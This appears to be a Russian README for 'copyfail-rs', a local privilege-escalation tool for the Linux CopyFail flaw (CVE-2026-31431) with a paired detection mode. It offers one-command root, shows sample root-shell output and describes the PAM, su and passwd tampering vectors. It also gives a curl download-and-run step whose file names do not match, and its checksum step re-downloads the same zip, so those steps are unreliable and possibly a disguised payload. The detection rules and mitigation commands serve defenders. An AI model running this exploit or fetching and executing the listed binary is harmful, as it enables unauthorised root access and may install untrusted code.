
Эксплуатировать и обнаруживать уязвимости CVE-2026-31431 с помощью статического бинарного файла, который мониторит целостность системы и обходит аутентификацию PAM.
Многовекторный PoC + парное обнаружение для CVE-2026-31431 (CopyFail). Включает новый вектор обхода аутентификации PAM, которого нет ни в одном другом публичном PoC. Режим обнаружения ловит то, что AIDE / Wazuh / OSSEC / Tripwire структурно не могут.
Один статический бинарник. ~108 КБ. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Одна команда. Root-оболочка. PAM-киллшот под капотом (одиночная запись 4 байт в /etc/pam.d/common-auth), PTY-спуск в root через sudo с отбрасываемым паролем. Строка [sudo] password for noot: мелькает на мгновение, sudo всегда выводит это приглашение; бинарник передаёт любую строку, и сбой pam_unix каскадно проходит через закомментированный pam_deny.so к pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← что на самом деле загружено (изменено)
disk: 117dab1c... ← что видят AIDE / Wazuh / Tripwire (чисто)
Вот проект. Диск чист, кэш изменён. Каждый публичный FIM слеп. Этот инструмент — нет.
Предварительно собранные статические бинарники доступны в релизе v0.1.0. Выберите архитектуру, загрузите, запустите.
# x86_64 (большинство ноутбуков + облачные серверы)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Другие архитектуры:
| Архитектура | Файл |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Проверка целостности:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
Статические musl-бинарники, без зависимостей времени выполнения, устанавливается на любом Linux.
Мутация кэша страниц. Никакой VFS-записи. Никакой грязной страницы. Никакого события inotify. Периодическое повторное сканирование состязается с вытеснением.
AIDE/Wazuh/OSSEC/Tripwire/Samhain читают через буферизированный ввод-вывод → кэш страниц → хешируют изменённые байты как истину. Или после вытеснения хешируют чистый диск → «изменений никогда не было».
Обнаружение требует O_DIRECT (пропустить кэш) + буферизированное чтение (попасть в кэш) + разница хешей. Несовпадение = сигнатура CopyFail. Это --scan.
Автовыбор: --vector auto (по умолчанию). Ранжирование: pam > su > passwd по скрытности. Откат при неудаче.
--json везде для приёма SIEM.
detection/:
sigma/copyfail-af-alg.yml, правило Sigma, добавьте в ваш SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, однострочник bpftraceapparmor/copyfail-block.profile, правило запрета AppArmor 3.0+mitigation/disable-algif.sh, чёрный список modprobe + предупреждение =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Или основной патч ядра a664bf3d603d (апрель 2026). На данный момент: только Debian Sid/Forky поставляют исправление. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle — все уязвимы.
Предостережение: CONFIG_CRYPTO_USER_API_AEAD=y (встроенный) молча обходит modprobe. --check предупреждает.
После эксплуатации и смягчения: мутация кэша сохраняется до перезагрузки. Смягчение блокирует НОВЫЕ эксплойты, не отменяет прошлые.
cargo build --release --target x86_64-unknown-linux-musl
| Цель | Размер |
|---|---|
| x86_64-musl | 108 КБ |
| aarch64-musl | 96 КБ |
| armv7-musleabihf | 86 КБ |
no_std. Без аллокатора. Без зависимостей времени выполнения. Один статический бинарник.
Предварительно собранные артефакты и SHA256-суммы прикреплены к GitHub-релизам.
См. docs/usage.md для конкретных одностраничных примеров по каждому режиму (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Для более развёрнутой версии этого README (больше контекста, глубже изложение) см. BLOG.md.
См. docs/threat-model.md.
Только собственное оборудование. Никакого CLI-шлюза (театр безопасности). README + LICENSE = рамки.
Режим обнаружения только для чтения. Безопасен на проде.
Режим эксплуатации мутирует кэш страниц ядра. Только в RAM, но относитесь как к разрушительному. Блокирует аутентификацию для любого последующего вызывающего.
CVE-2026-31431 раскрыта Theori / Xint 29 апреля 2026 (статья, блог Xint). Предыдущие публичные PoC:
Этот проект (copyfail-rs): добавляет вектор обхода аутентификации PAM, двухрежимное обнаружение, артефакты для IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, август 2017)| Вектор | Цель | Куда попадает |
|---|
pam (НОВЫЙ) | /etc/pam.d/common-auth (Debian/Ubuntu) или system-auth (Fedora/RHEL/Arch) | 4 байта. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo с любым паролем = root. |
su | /usr/bin/su | Мутация текста setuid-бинарника. execve → root. |
passwd | /etc/passwd | Смена UID → пользователь становится root при следующем входе. Ломает SSH для этого пользователя. |
| Режим | Что делает |
|---|
--check | Ядро + модуль + CONFIG_CRYPTO_USER_API_AEAD + статус смягчения. Вердикт: уязвим / смягчён / безопасен. |
--scan | Разница O_DIRECT против буферизированного чтения критических файлов. Ветвление через statfs(): ext4/xfs/btrfs используют O_DIRECT, overlayfs откатывается, tmpfs пропускается. |
--baseline / --diff | Снимок заведомо чистого состояния. Сравнение позже. Дельты только кэша = отпечаток CopyFail. |
--watch | Демон. Периодическое сканирование. Чистое завершение по SIGTERM. |
--hunt | Обход SSH-фермы. Агрегаты JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Векторы | su | su + passwd | su | su + passwd + PAM (новый) |
| Обнаружение | нет | нет | нет | полный --mode detect |
| Артефакты для IR | нет | нет | нет | Sigma + auditd + eBPF + AppArmor |
| UX оператора | 3 команды | 4 команды | 5 команд | 1 команда |
| Бинарник | требует Python | ~10 КБ | ~5 МБ | ~108 КБ статический |